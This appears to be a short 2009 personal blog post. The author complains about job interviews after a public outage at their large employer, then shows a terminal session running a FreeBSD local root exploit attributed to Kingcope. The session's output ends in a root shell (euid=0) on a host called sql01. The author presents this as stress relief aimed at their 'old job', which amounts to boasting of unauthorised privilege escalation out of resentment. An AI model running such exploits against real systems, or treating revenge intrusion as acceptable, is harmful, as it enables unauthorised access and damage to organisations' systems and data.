09 December, 2009

Big, small and indifferent

I wouldn't qualify working in "the bigs" as a total disaster.. professionally.

However one of the biggest disasters to happen to a large organization like the one I work for happened a bit ago, a news making, lawsuit generating, fuck all snafu.

So I've entered the world of job candidacy again, going on interviews, proving my worth, etc.

Going to interviews is a chore no matter how you slice it.

After what I've been through, it's damn well like pulling teeth.

Let me explain.

I can't go to a single interview without answering the uncomfortable question "so.. I see you work at XXXXXX.. I read about that on Gizmodo (or insert other tech blog here).. so, what was that all about?"

To add insult to injury, I'm expected to answer all kinds of hypothetical questions, solve problems, etc -- the usual interview stuff -- knowing that the interviewer knows about the complete breakdown of the service that I in part was charged with the care of.

It's humiliating.

So, in order to relieve some stress, I'm currently fixing this at my old job:
me@sql01 [1:27am]:6:~> sh foo.sh
env env.c foo.sh ports.txt post.sh program.c program.o resolv.conf sudoers w00t.so.1.0 FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# id
uid=1001(me) gid=1001(me) euid=0(root) groups=1001(me),16(dba)

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